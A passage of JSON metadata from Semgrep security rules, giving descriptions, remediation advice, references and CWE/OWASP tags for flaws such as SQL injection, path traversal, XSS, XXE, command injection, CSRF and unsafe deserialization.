java.spring.security.audit.spring-jsp-eval.spring-jsp-eval"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The return value of `snprintf` is the number of characters that would be written, excluding the NUL terminator. The return value must be validated before using it as a buffer index or buffer length."},"help":{"markdown":"The return value of `snprintf` is the number of characters that would be written, excluding the NUL terminator. The return value must be validated before using it as a buffer index or buffer length.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.snprintf-return-value-length.snprintf-return-value-length)\n - [https://cwe.mitre.org/data/definitions/787.html](https://cwe.mitre.org/data/definitions/787.html)\n - [https://wiki.sei.cmu.edu/confluence/display/c/ARR30-C.+Do+not+form+or+use+out-of-bounds+pointers+or+array+subscripts](https://wiki.sei.cmu.edu/confluence/display/c/ARR30-C.+Do+not+form+or+use+out-of-bounds+pointers+or+array+subscripts)\n","text":"The return value of `snprintf` is the number of characters that would be written, excluding the NUL terminator. The return value must be validated before using it as a buffer index or buffer length."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.snprintf-return-value-length.snprintf-return-value-length","id":"cpp.lang.security.strings.snprintf-return-value-length.snprintf-return-value-length","name":"cpp.lang.security.strings.snprintf-return-value-length.snprintf-return-value-length","properties":{"precision":"very-high","tags":["CWE-787: Out-of-bounds Write","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.snprintf-return-value-length.snprintf-return-value-length"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.db.mysql-express.mysql-express)\n - [https://github.com/mysqljs/mysql?tab=readme-ov-file#escaping-query-values](https://github.com/mysqljs/mysql?tab=readme-ov-file#escaping-query-values)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/javascript.express.db.mysql-express.mysql-express","id":"javascript.express.db.mysql-express.mysql-express","name":"javascript.express.db.mysql-express.mysql-express","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.db.mysql-express.mysql-express"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.path-traversal.net-http-path-traversal-taint.net-http-path-traversal-taint)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function."},"helpUri":"https://semgrep.dev/r/go.net.path-traversal.net-http-path-traversal-taint.net-http-path-traversal-taint","id":"go.net.path-traversal.net-http-path-traversal-taint.net-http-path-traversal-taint","name":"go.net.path-traversal.net-http-path-traversal-taint.net-http-path-traversal-taint","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.path-traversal.net-http-path-traversal-taint.net-http-path-traversal-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. Use the `render template` and make template files which will safely render HTML instead, or inspect that the HTML is absolutely rendered safely with a function like `sanitize`."},"help":{"markdown":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. Use the `render template` and make template files which will safely render HTML instead, or inspect that the HTML is absolutely rendered safely with a function like `sanitize`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.injection.raw-html-format.raw-html-format)\n - [https://www.netsparker.com/blog/web-security/preventing-xss-ruby-on-rails-web-applications/](https://www.netsparker.com/blog/web-security/preventing-xss-ruby-on-rails-web-applications/)\n - [https://api.rubyonrails.org/classes/ActionView/Helpers/SanitizeHelper.html](https://api.rubyonrails.org/classes/ActionView/Helpers/SanitizeHelper.html)\n","text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. Use the `render template` and make template files which will safely render HTML instead, or inspect that the HTML is absolutely rendered safely with a function like `sanitize`."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.injection.raw-html-format.raw-html-format","id":"ruby.rails.security.injection.raw-html-format.raw-html-format","name":"ruby.rails.security.injection.raw-html-format.raw-html-format","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.injection.raw-html-format.raw-html-format"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Potential empty AES encryption key. Using an empty key in AES encryption can result in weak encryption and may allow attackers to easily decrypt sensitive data. Ensure that a strong, non-empty key is used for AES encryption."},"help":{"markdown":"Potential empty AES encryption key. Using an empty key in AES encryption can result in weak encryption and may allow attackers to easily decrypt sensitive data. Ensure that a strong, non-empty key is used for AES encryption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.security.empty-aes-key.empty-aes-key)\n - [https://cwe.mitre.org/data/definitions/327.html](https://cwe.mitre.org/data/definitions/327.html)\n - [https://cwe.mitre.org/data/definitions/310.html](https://cwe.mitre.org/data/definitions/310.html)\n","text":"Potential empty AES encryption key. Using an empty key in AES encryption can result in weak encryption and may allow attackers to easily decrypt sensitive data. Ensure that a strong, non-empty key is used for AES encryption."},"helpUri":"https://semgrep.dev/r/python.cryptography.security.empty-aes-key.empty-aes-key","id":"python.cryptography.security.empty-aes-key.empty-aes-key","name":"python.cryptography.security.empty-aes-key.empty-aes-key","properties":{"precision":"very-high","tags":["CWE-310: Cryptographic Issues","CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A6:2017 misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.security.empty-aes-key.empty-aes-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.actix.command-injection.rust-actix-command-injection.rust-actix-command-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/rust.actix.command-injection.rust-actix-command-injection.rust-actix-command-injection","id":"rust.actix.command-injection.rust-actix-command-injection.rust-actix-command-injection","name":"rust.actix.command-injection.rust-actix-command-injection.rust-actix-command-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.actix.command-injection.rust-actix-command-injection.rust-actix-command-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A session cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie which mitigates XSS attacks. Set the 'HttpOnly' flag by setting 'HttpOnly' to 'true' in the Cookie."},"help":{"markdown":"A session cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie which mitigates XSS attacks. Set the 'HttpOnly' flag by setting 'HttpOnly' to 'true' in the Cookie.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.net.cookie-missing-httponly.cookie-missing-httponly)\n - [https://github.com/0c34/govwa/blob/139693e56406b5684d2a6ae22c0af90717e149b8/util/cookie.go](https://github.com/0c34/govwa/blob/139693e56406b5684d2a6ae22c0af90717e149b8/util/cookie.go)\n - [https://golang.org/src/net/http/cookie.go](https://golang.org/src/net/http/cookie.go)\n","text":"A session cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie which mitigates XSS attacks. Set the 'HttpOnly' flag by setting 'HttpOnly' to 'true' in the Cookie."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.net.cookie-missing-httponly.cookie-missing-httponly","id":"go.lang.security.audit.net.cookie-missing-httponly.cookie-missing-httponly","name":"go.lang.security.audit.net.cookie-missing-httponly.cookie-missing-httponly","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.net.cookie-missing-httponly.cookie-missing-httponly"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the SAXBuilder parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, enabling both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`, and enabling both of `parser.setExpandEntities(false)` and parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the SAXBuilder parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, enabling both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`, and enabling both of `parser.setExpandEntities(false)` and parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.xxe.tainted-saxbuilder-xxe-spring.tainted-saxbuilder-xxe-spring)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the SAXBuilder parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, enabling both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`, and enabling both of `parser.setExpandEntities(false)` and parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.spring.security.xxe.tainted-saxbuilder-xxe-spring.tainted-saxbuilder-xxe-spring","id":"java.spring.security.xxe.tainted-saxbuilder-xxe-spring.tainted-saxbuilder-xxe-spring","name":"java.spring.security.xxe.tainted-saxbuilder-xxe-spring.tainted-saxbuilder-xxe-spring","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.xxe.tainted-saxbuilder-xxe-spring.tainted-saxbuilder-xxe-spring"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.rocket.sql.postgres-taint.postgres-taint)\n - [https://docs.rs/postgres/latest/postgres/](https://docs.rs/postgres/latest/postgres/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.rocket.sql.postgres-taint.postgres-taint","id":"rust.rocket.sql.postgres-taint.postgres-taint","name":"rust.rocket.sql.postgres-taint.postgres-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.rocket.sql.postgres-taint.postgres-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application appears to have disabled the CSRF token verification middleware which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. You can prevent this vulnerability by enforcing usage and verification of the CSRF tokens associated with user requests. To enable the CSRF token verification middleware add `\\$APP\\Http\\Middleware\\VerifyCsrfToken` to the middleware group in your `$APP\\Http\\Kernel` class."},"help":{"markdown":"The application appears to have disabled the CSRF token verification middleware which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. You can prevent this vulnerability by enforcing usage and verification of the CSRF tokens associated with user requests. To enable the CSRF token verification middleware add `\\$APP\\Http\\Middleware\\VerifyCsrfToken` to the middleware group in your `$APP\\Http\\Kernel` class.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-csrf-not-verified.laravel-csrf-not-verified)\n - [https://laravel.com/docs/9.x/csrf#preventing-csrf-requests](https://laravel.com/docs/9.x/csrf#preventing-csrf-requests)\n - [https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#cross-site-request-forgery-csrf](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#cross-site-request-forgery-csrf)\n","text":"The application appears to have disabled the CSRF token verification middleware which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. You can prevent this vulnerability by enforcing usage and verification of the CSRF tokens associated with user requests. To enable the CSRF token verification middleware add `\\$APP\\Http\\Middleware\\VerifyCsrfToken` to the middleware group in your `$APP\\Http\\Kernel` class."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-csrf-not-verified.laravel-csrf-not-verified","id":"php.laravel.security.laravel-csrf-not-verified.laravel-csrf-not-verified","name":"php.laravel.security.laravel-csrf-not-verified.laravel-csrf-not-verified","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-csrf-not-verified.laravel-csrf-not-verified"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"CSRF protection is disabled for this configuration. This is a security risk."},"help":{"markdown":"CSRF protection is disabled for this configuration. This is a security risk.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.audit.spring-csrf-disabled.spring-csrf-disabled)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"CSRF protection is disabled for this configuration. This is a security risk."},"helpUri":"https://semgrep.dev/r/java.spring.security.audit.spring-csrf-disabled.spring-csrf-disabled","id":"java.spring.security.audit.spring-csrf-disabled.spring-csrf-disabled","name":"java.spring.security.audit.spring-csrf-disabled.spring-csrf-disabled","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.audit.spring-csrf-disabled.spring-csrf-disabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-marshal-django.tainted-marshal-django)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-marshal-django.tainted-marshal-django","id":"python.django.deserialization.tainted-marshal-django.tainted-marshal-django","name":"python.django.deserialization.tainted-marshal-django.tainted-marshal-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-marshal-django.tainted-marshal-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates (`django.shortcuts.render`) which will safely render HTML instead."},"help":{"markdown":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates (`django.shortcuts.render`) which will safely render HTML instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.raw-html-format.raw-html-format)\n - [https://docs.djangoproject.com/en/3.2/topics/http/shortcuts/#render](https://docs.djangoproject.com/en/3.2/topics/http/shortcuts/#render)\n - [https://docs.djangoproject.com/en/3.2/topics/security/#cross-site-scripting-xss-protection](https://docs.djangoproject.com/en/3.2/topics/security/#cross-site-scripting-xss-protection)\n","text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates (`django.shortcuts.render`) which will safely render HTML instead."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.raw-html-format.raw-html-format","id":"python.django.security.injection.raw-html-format.raw-html-format","name":"python.django.security.injection.raw-html-format.raw-html-format","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.raw-html-format.raw-html-format"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-numpy-pickle.tainted-numpy-pickle)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - 